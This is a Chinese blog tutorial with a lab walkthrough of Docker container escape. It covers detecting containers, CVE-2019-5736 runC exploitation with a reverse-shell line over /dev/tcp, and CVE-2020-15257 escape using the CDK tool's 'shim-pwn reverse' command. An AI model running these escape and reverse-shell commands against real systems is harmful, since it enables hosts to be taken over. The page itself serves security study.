首页 > 其他分享 >【第96课】云原生篇&Docker安全&系统内核&版本漏洞&CDK自动利用&容器逃逸

【第96课】云原生篇&Docker安全&系统内核&版本漏洞&CDK自动利用&容器逃逸

时间:2024-09-07 10:52:59浏览次数:13  
标签:容器 apt CDK 逃逸 Docker CVE docker 96

免责声明

本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。

如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。

文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。

知识点

1、云原生-Docker安全-容器逃逸&内核漏洞
2、云原生-Docker安全-容器逃逸&版本漏洞
3、云原生-Docker安全-容器逃逸&CDK自动化

章节点:

云场景攻防:公有云,私有云,混合云,虚拟化集群,云桌面等
云厂商攻防:阿里云,腾讯云,华为云,亚马云,谷歌云,微软云等
云服务攻防:对象存储,云数据库,弹性计算服务器,VPC&RAM等
云原生攻防:Docker,Kubernetes(k8s),容器逃逸,CI/CD等

1、Docker是干嘛的?

一个容器技术,类似于VM虚拟机,别人环境封装好打包成一个镜像,使用docker技术就能快速把这个镜像环境还原出来。

2、Docker对于渗透测试影响?

攻击者攻击虚拟空间磁盘,拿到最高权限也是虚拟空间的权限,而不是真实物理环境的权限

在这里插入图片描述

3、前渗透-判断是否在容器中

前提:拿到权限
如何快速判断是否在容器环境-CSDN博客

方式一:查询cgroup信息

最简单精准的方式就是查询系统进程的cgroup信息,通过响应的内容可以识别当前进程所处的运行环境,就可以知道是在虚拟机、docker还是kubepods里。

cat /proc/1/cgroup

docker 环境下:
在这里插入图片描述
K8s环境下:
在这里插入图片描述

方式二:检查/.dockerenv文件

通过判断根目录下的 .dockerenv文件是否存在,可以简单的识别docker环境。
K8s&docker环境下:

ls -alh /.dockerenv 

可以找到文件。
在这里插入图片描述

方式三:查看端口运行情况
netstat -anpt

在这里插入图片描述

4、后渗透-三种安全容器逃逸

特权模式启动导致(不安全启动,适用于java jsp高权限入口无需提权 低权限入口还要提权才能逃逸)
危险挂载启动导致(危险启动,适用于java jsp高权限入口无需提权 低权限入口还要提权才能逃逸)
docker自身版本漏洞&系统内核漏洞(软件版本漏洞和系统漏洞 高低权限都可用)

参考地址:云原生 | T Wiki

一、演示案例-云原生-Docker安全-容器逃逸&系统内核漏洞

细节部分在权限提升章节会详解,常用:

CVE-2016-5195 CVE-2019-16884 CVE-2021-3493 
CVE-2021-22555 CVE-2022-0492 CVE-2022-0847 CVE-2022-23222

二、演示案例-云原生-Docker安全-容器逃逸&docker版本漏洞

CVE-2019-5736 runC容器逃逸(需要管理员配合触发)

影响版本:

Docker version <= 18.09.2
RunC version <= 1.0-rc6

在这里插入图片描述

1、安装docker对应版本
apt-get update

apt-get install -y apt-transport-https ca-certificates curl software-properties-common

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -

add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"

apt-get update

apt-cache madison docker-ce

apt-get install docker-ce=18.06.1~ce~3-0~ubuntu

在这里插入图片描述
在这里插入图片描述

2、启动靶场环境测试
docker run -itd --cap-add=SYS_ADMIN ubuntu:latest

在这里插入图片描述
在这里插入图片描述

3、编译修改后EXP后等待管理员进入容器执行

GitHub - Frichetten/CVE-2019-5736-PoC: PoC for CVE-2019-5736
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

bash -c 'exec bash -i >& /dev/tcp/127.0.0.1/8080 0>&1'

修改完毕后,要把这个main.go编译成main文件
在这里插入图片描述

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

docker cp main 7f4793f3ac0cd13:/

在这里插入图片描述
在这里插入图片描述

chmod 777 main

在这里插入图片描述
执行main文件

./main

在这里插入图片描述
真实系统管理员重新进入该容器触发反弹shell

docker exec -it 7f4793f3ac0cd13 /bin/bash

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4、实验获取云服务器上docker搭建的Web权限后进行逃逸
docker run -it -p 8888:8080 vulhub/struts2:s2-053

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
该工具只能上传脚本文件目录,没法上传一些执行程序,需要拿到webshell利用webshell链接工具上传执行程序。

查看当前网站目录
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

CVE-2020-15257 containerd逃逸(启动容器时有前提参数)

影响版本:

containerd < 1.4.3
containerd < 1.3.9
1、安装docker对应版本
apt-get update

apt-get install ca-certificates curl software-properties-common

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -

add-apt-
repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-get update

apt-cache madison docker-ce

apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1
2、启动环境测试:
docker pull ubuntu:18.04
docker run -itd --net=host ubuntu:18.04 /bin/bash  //--net=host是前提条件,不加这个参数启动的docker没有这个漏洞
docker exec -it 5be3ed60f152 /bin/bash

在这里插入图片描述

3、上传CDK工具自动逃逸反弹

在这里插入图片描述

docker cp cdk_linux_amd64 8e7c27d7b98ca32927:/tmp

在这里插入图片描述

chmod 777 cdk_linux_amd64
./cdk_linux_amd64 run shim-pwn reverse xx.xx.xx.xx xxxx  //这是指定漏洞利用
./cdk_linux_amd64 auto-escape id //自动化漏洞扫描

在这里插入图片描述
在这里插入图片描述

4、实验获取到docker搭建的Web权限后进行逃逸

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

三、演示案例-云原生-Docker安全-容器逃逸&CDK自动化

项目地址

容器,apt,CDK,逃逸,Docker,CVE,docker,96
From: https://blog.csdn.net/Lucker_YYY/article/details/141854325

相关文章

  • 【STM32+HAL库】---- 硬件IIC驱动0.96OLED
    硬件开发板:STM32G0B1RET6软件平台:cubemax+keil+VScode内容原著声明代码借鉴学习于以下文章:STM32使用硬件IIC驱动0.96寸4针IOLED显示器(HAL库)1新建cubemax工程1.1配置系统时钟RCC1.2配置引脚1.3导出工程略…2代码2.1OLED_IIC_Config.h/*************......
  • Docker安装zookeeper(zookeeper-latest)与Kafka(kafka-latest)
    一、Docker安装zookeeper1.准备工作(1)进入文件夹dockercd/usr/local/docker/(2)创建一个网络#app-tier:网络名称#–driver:网络类型为bridgedockernetworkcreateapp-kafka--driverbridge(3)在docker创建zookeeper文件夹//创建文件夹mkdirzookeeper//进入cd......
  • Ubuntu系统Docker中使用Anaconda环境运行Python项目方法
    宝藏网站:菜鸟教程-学的不仅是技术,更是梦想!安装Anaconda的镜像我是直接拉取的Anaconda的镜像,我不会dockerfile自己构建镜像。以下终端命令查找Anaconda的官方的一些镜像,拉取自己是想要的镜像。dockersearchanaconda#拉取镜像命令dockerpull(镜像名字)#查看Docker......
  • docker 安装 redis 集群
    集群搭建(三主三从)集群搭建集群中的节点都需要打开两个TCP连接。一个连接用于正常的给Client提供服务,比如6379,还有一个额外的端口(通过在这个端口号上加10000)作为数据端口,例如:redis的端口为6379,那么另外一个需要开通的端口是:6379+10000,即需要开启16379。16379端口用于......
  • 【K8s】专题十三:Kubernetes 容器运行时之 Docker 与 Containerd 详解
    本文内容均来自个人笔记并重新梳理,如有错误欢迎指正!如果对您有帮助,烦请点赞、关注、转发、订阅专栏!专栏订阅入口Linux专栏 | Docker专栏 | Kubernetes专栏往期精彩文章【Docker】(全网首发)KylinV10下MySQL容器内存占用异常的解决方法【Docker】(全网首发)Kyli......
  • Docker的镜像设置
    一、启动hello-world二、查看镜像dockerimages三、设置docker镜像地址打开阿里云网址:https://cr.console.aliyun.com/cn-hangzhou/instances/mirrorsbash执行这段命令sudomkdir-p/etc/dockersudotee/etc/docker/daemon.json<<-'EOF'{"registry-mirrors":[&qu......
  • 828华为云征文 | 在Flexus X实例上部署Portainer,实现Docker可视化管理
    Docker轻量级可视化工具Portainer需要了解本文章主要讲述在华为云FlexusX实例上通过docker技术搭建开源的容器管理平台,使用的WebUI界面来简化和优化容器及集群的管理和监控选择合适的云服务器:本文采用的是华为云服务器FlexusX实例(推荐使用)连接方式:本文通过本......
  • 【随手记录】关于docker启动后一直处于Active: activating (start)状态
    docker部署之后systemctlstartdocker启动服务,服务状态一直处于Active:activating(start)状态,使用journalctl-n50|grepdocker查看日志,第一次发现有错误信息:warningmsg="couldnotchangegroup/var/run/docker.socktodocker:groupdockernotfound"这个错误表......
  • [Docker] Run langs on Docker
    Node.jsonContainersSonowwhatifwewantedtorunacontainerthathasNode.jsinit?ThedefaultUbuntucontainerdoesn'thaveNode.jsinstalled.Let'suseadifferentcontainer!dockerrun-itnode:20Theversionhereiswe'reusingi......
  • [Docker] Docker Images with Docker
    Soit'smucheasiertodowhatwedidwithDocker.Runthiscommand:dockerrun--interactive--ttyalpine:3.19.1#or,tobeshorter:dockerrun-italpine:3.19.1Abiteasiertoremember,right?ThiswilldropyouintoaAlpineashshellinsideof......